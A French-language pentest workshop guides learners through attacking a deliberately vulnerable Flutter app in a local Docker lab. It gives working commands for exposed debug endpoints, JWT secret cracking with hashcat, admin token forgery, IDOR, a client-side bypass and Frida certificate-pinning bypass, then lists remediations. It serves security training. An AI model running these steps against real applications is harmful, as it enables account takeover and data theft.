Cloud, mobile et IoT — Atelier pratique
Vous montez le lab Docker M11 et vous refaites la chaîne de la démonstration sans regarder la démonstration. C'est un exercice d'autonomie : vous cherchez, vous doutez, vous documentez.
Ce que vous saurez faire
- Attaquer une app Flutter (web ou mobile) par sa surface la plus courante en 2026 : bundle client + API backend faiblement configurée.
- Distinguer un chemin court (
/api/debug/env) d'un chemin long (crackage JWT + forge + IDOR), et savoir présenter les deux. - Rédiger un rapport avec cinq sections et cinq corrections concrètes.
Plan de l'atelier
- Démarrer le lab
- Étape 1 — reconnaissance visuelle
- Étape 2 — analyse statique du bundle
- Étape 3 — chemin court :
/api/debug/env - Étape 4 — bypass client-side
- Étape 5 — capture et décodage du JWT
- Étape 6 — crackage HS256 avec hashcat
- Étape 7 — forge d'un token admin
- Étape 8 — IDOR sur
/api/users/:id - Étape 9 — accès admin, lecture du flag
- Rapport
- Liste de vérification
- Bonus — même chaîne sur un
.apkFlutter réel - Nettoyage
Ce qu'il vous faut
- Docker Desktop 4.x lancé.
- Le repository
inskillsec-docusauruscloné localement. - Un navigateur récent avec DevTools.
- Environ 3 Go de RAM et 4 Go de disque libres.
Démarrer le lab
cd inskillsec-docusaurus/labs/docker/module-11-mobile-flutter
docker compose up -d
Ouvrez http://localhost:8080 (l'app Flutter Web) dans votre
navigateur et vérifiez que le login apparaît. Vérifiez aussi la santé
de l'API :
curl -s http://localhost:3000/api/health
Ouvrez enfin un shell sur la station Kali :
docker compose exec attaquant bash
Étape 1 — reconnaissance visuelle
Dans le navigateur, ouvrez DevTools sur l'onglet Network. Tentez un login (n'importe quel email et mot de passe) et notez la requête qui part. Vous devez identifier :
- L'URL exacte de l'endpoint d'authentification.
- Le format du body (JSON, champs
email/password). - Le code retour en cas d'échec.
Notez tout dans votre rapport.
Étape 2 — analyse statique du bundle
Depuis la station Kali :
curl -s http://app/main.dart.js > /tmp/main.dart.js
grep -E "API_BASE_URL|PREMIUM_API_KEY|DEBUG_ENDPOINT|api/admin" /tmp/main.dart.js
Trois strings doivent ressortir. Notez leur valeur. Concentrez-vous
sur DEBUG_ENDPOINT : c'est un chemin d'API que le code client
n'appelle jamais visiblement, mais dont l'existence est révélée par
la constante.
Étape 3 — chemin court : /api/debug/env
Testez le path que vous venez de découvrir :
curl -s http://api:3000/api/debug/env
Si vous obtenez un JSON qui contient un champ nommé M11_FLAG, vous
tenez déjà le flag. Notez-le, mais ne vous arrêtez pas là. L'objet
de l'atelier est d'exécuter la chaîne longue aussi.
Étape 4 — bypass client-side
Retour dans le navigateur. Sans être connecté, ouvrez la console DevTools et faites :
localStorage.setItem('auth_token', 'x');
window.location.hash = '#/dashboard';
Observez : la page dashboard s'affiche pendant une fraction de seconde. Elle bascule ensuite sur « Session expired ».
Documentez ce comportement : la garde client s'est laissée
tromper, mais la garde serveur (GET /api/me) a tenu bon. C'est
exactement l'anti-pattern qu'on veut illustrer.
Étape 5 — capture et décodage du JWT
Inscrivez un compte normal depuis le shell attaquant :
curl -s -X POST http://api:3000/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"email":"eve@lab.local","password":"anyPass1!","fullName":"Eve"}' \
| jq
Récupérez le champ token. Décodez ses trois parties :
TOKEN="<votre token>"
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
Le header doit annoncer HS256. Le payload doit contenir votre sub
(votre id, probablement 4) et role: user. Notez tout dans votre
rapport.
Étape 6 — crackage HS256 avec hashcat
Écrivez le token complet dans un fichier :
echo "$TOKEN" > /tmp/token.jwt
Lancez hashcat. Le mode 16500 correspond au JWT :
hashcat -m 16500 /tmp/token.jwt /usr/share/wordlists/rockyou.txt
Si rockyou.txt n'est pas décompressé sur votre Kali, ouvrez-le
d'abord avec gunzip /usr/share/wordlists/rockyou.txt.gz. Le mot
attendu est court, hashcat le trouve en moins d'une minute.
Alternative sans hashcat, plus pédagogique, avec une petite wordlist faite maison :
for cand in password secret s3cr3t s3cr3t2025 admin123; do
H=$(echo "$TOKEN" | cut -d. -f1)
P=$(echo "$TOKEN" | cut -d. -f2)
S=$(echo "$TOKEN" | cut -d. -f3)
E=$(echo -n "$H.$P" | \
openssl dgst -sha256 -mac HMAC -macopt "key:$cand" -binary | \
base64 | tr '+/' '-_' | tr -d '=')
[ "$E" = "$S" ] && echo "SECRET = $cand" && break
done
Étape 7 — forge d'un token admin
Avec le secret cracké, forgez un token qui prétend être admin
(sub: 1) et n'expirera jamais :
SECRET="s3cr3t2025"
H='{"alg":"HS256","typ":"JWT"}'
P='{"sub":1,"email":"admin@corp.local","role":"admin","iat":1700000000,"exp":9999999999}'
H_B64=$(echo -n "$H" | base64 -w0 | tr '+/' '-_' | tr -d '=')
P_B64=$(echo -n "$P" | base64 -w0 | tr '+/' '-_' | tr -d '=')
SIG=$(echo -n "$H_B64.$P_B64" | \
openssl dgst -sha256 -mac HMAC -macopt "key:$SECRET" -binary | \
base64 -w0 | tr '+/' '-_' | tr -d '=')
FORGED="$H_B64.$P_B64.$SIG"
echo "$FORGED"
Étape 8 — IDOR sur /api/users/:id
Sans utiliser le token forgé, montrez qu'un simple utilisateur peut déjà lire les données de l'admin :
curl -s http://api:3000/api/users/1 -H "Authorization: Bearer $TOKEN" | jq
Vous devez voir un JSON avec l'email et le mot de passe (en clair)
du compte admin. Notez que le token utilisé est celui d'eve, pas
celui que vous avez forgé.
Étape 9 — accès admin, lecture du flag
Enfin, l'endpoint réservé aux admins avec votre token forgé :
curl -s http://api:3000/api/admin/config \
-H "Authorization: Bearer $FORGED" | jq
Vous devez récupérer un JSON dont le champ flag contient
FLAG-M11-FLUTTER-MOBILE-2026. Sauvegardez ce JSON entier dans
votre rapport, il fait office de preuve.
Rapport
Écrivez rapport/mobile-flutter-m11.md dans le volume monté
(/home/pentester/labs/rapport/) avec cinq sections :
- Résumé exécutif — deux phrases : « partant d'un accès public à l'app, j'ai obtenu la lecture d'un endpoint admin et la récupération d'un flag prod ». Mentionnez les deux chemins.
- Chaîne d'attaque courte — la commande unique
/api/debug/envet pourquoi c'est déjà critique. - Chaîne d'attaque longue — les neuf étapes ci-dessus, chacune avec commande et sortie.
- Faiblesses identifiées — cinq points : secrets dans le bundle, JWT HS256 secret faible, IDOR, debug endpoint en prod, mot de passe stocké en clair côté serveur.
- Correctifs — pour chaque faiblesse, l'action attendue :
- Secrets — jamais dans le client. Un vrai backend pour les appels premium, une clé côté serveur, quotas par utilisateur.
- JWT — passer à RS256 avec paire de clés, garder la clé privée côté serveur. Ou HS256 avec un secret de 32 octets aléatoires stocké dans un vault (AWS KMS, Doppler, Vault).
- IDOR — chaque endpoint
/:iddoit vérifierresource.owner === req.user.subou une ACL explicite. - Debug — supprimer purement. Aucun endpoint « debug » ne
doit passer en prod. Si besoin, mettre un middleware qui
répond
404sauf pour une IP interne autorisée. - Mots de passe — bcrypt (coût 12+) ou argon2id. Aucun stockage en clair jamais.
Liste de vérification
-
docker compose up -da démarré sans erreur,apiesthealthy. - Vous avez trouvé
API_BASE_URL,PREMIUM_API_KEYetDEBUG_ENDPOINTdansmain.dart.js. -
curl /api/debug/enva renvoyé le flag directement. - Vous avez démontré le bypass client-side dans DevTools (le dashboard s'affiche brièvement).
- Vous avez obtenu un JWT via
/api/auth/registeret décodé le header et le payload. - Hashcat (ou votre boucle openssl) a trouvé
s3cr3t2025. - Vous avez forgé un JWT
role=admin. -
/api/users/1a divulgué le mot de passe admin en clair. -
/api/admin/configavec le JWT forgé a rendu le flag. - Votre rapport contient les cinq sections attendues.
Bonus — même chaîne sur un .apk Flutter réel
Si vous voulez pousser jusqu'au vrai mobile, voici le circuit hors lab Docker :
flutter build apk --releaseproduit unapp-release.apkd'environ 15-25 Mo. Le code compilé Dart vit danslib/arm64-v8a/libapp.so.- Ouvrez l'APK avec
apktool d app-release.apk, puisstrings lib/arm64-v8a/libapp.so | grep -iE "api_key|secret|https". Vous retrouvez les mêmes constantes qu'ici — c'est exactement le même point de sortie quemain.dart.js. - Pour le dump structuré :
reFlutter build app-release.apkpuis dump avecblutteroufrida-dexdumppour aller plus loin. - Pour le certificate pinning bypass :
frida -U -f com.your.appavec un script qui hookeboringssl::ssl_verify_peer_cert. Les scripts publics fonctionnent tel quel sur la plupart des apps Flutter récentes.
Sortez le tout dans un rapport séparé si vous choisissez ce bonus.
Nettoyage
cd inskillsec-docusaurus/labs/docker/module-11-mobile-flutter
docker compose down -v
Le -v supprime les volumes ; la prochaine fois vous partirez d'un
lab neuf.